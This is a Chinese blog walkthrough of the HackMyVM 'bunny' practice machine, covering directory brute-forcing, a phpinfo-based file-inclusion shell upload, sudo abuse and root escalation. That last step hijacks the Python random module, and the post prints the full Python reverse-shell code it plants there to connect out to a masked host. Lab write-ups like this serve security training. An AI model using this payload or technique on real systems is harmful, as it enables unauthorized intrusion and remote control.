当前位置:网站首页>hackmyvm-bunny walkthrough
hackmyvm-bunny walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
端口信息很少,常规操作,访问80,爆破目录。

upload.php,password.txt,config.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。
能想到的就是index.php是不是存在ssrf。于是利用ffuf对index.php进行参数fuzz,得到参数page为实际请求参数。
由于allow_url_include是off,所以没有办法进行php://input和data协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。
同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现[1],成功上传shell。


切换用户
为了操作方便获取pty,反弹一个shell,查看sudo。
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
很简单切换到用户chris,得到第一个flag。

提权至root
利用pspy64可以看到root每分钟在运行pendu.py。
该文件没做什么事情,但是引入了random。

从图中可以看到random是可以修改的。于是将random改成一个反弹shell。
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限。
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
猜你喜欢
随机推荐
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
每日五道面试题总结 22/7/23
uniapp | 官方提供的map组件使用问题
查询数据库中所有表的索引,并且解析成sql
Various ways of AES encryption
TypeScript 错误 error TS2469、error TS2731 解决办法
一分种一起来了解Vite的基础
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
PHP 给图片添加全图水印
每日五道面试题总结 22/7/19
(2)Thinkphp6模板引擎**标签
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
4. The form with the input
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
PHP Foundation March Press Announcement Released
(6) 学生信息管理系统设计
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
(8) requests, os, sys, re, _thread
js 之 Object.defineProperty()









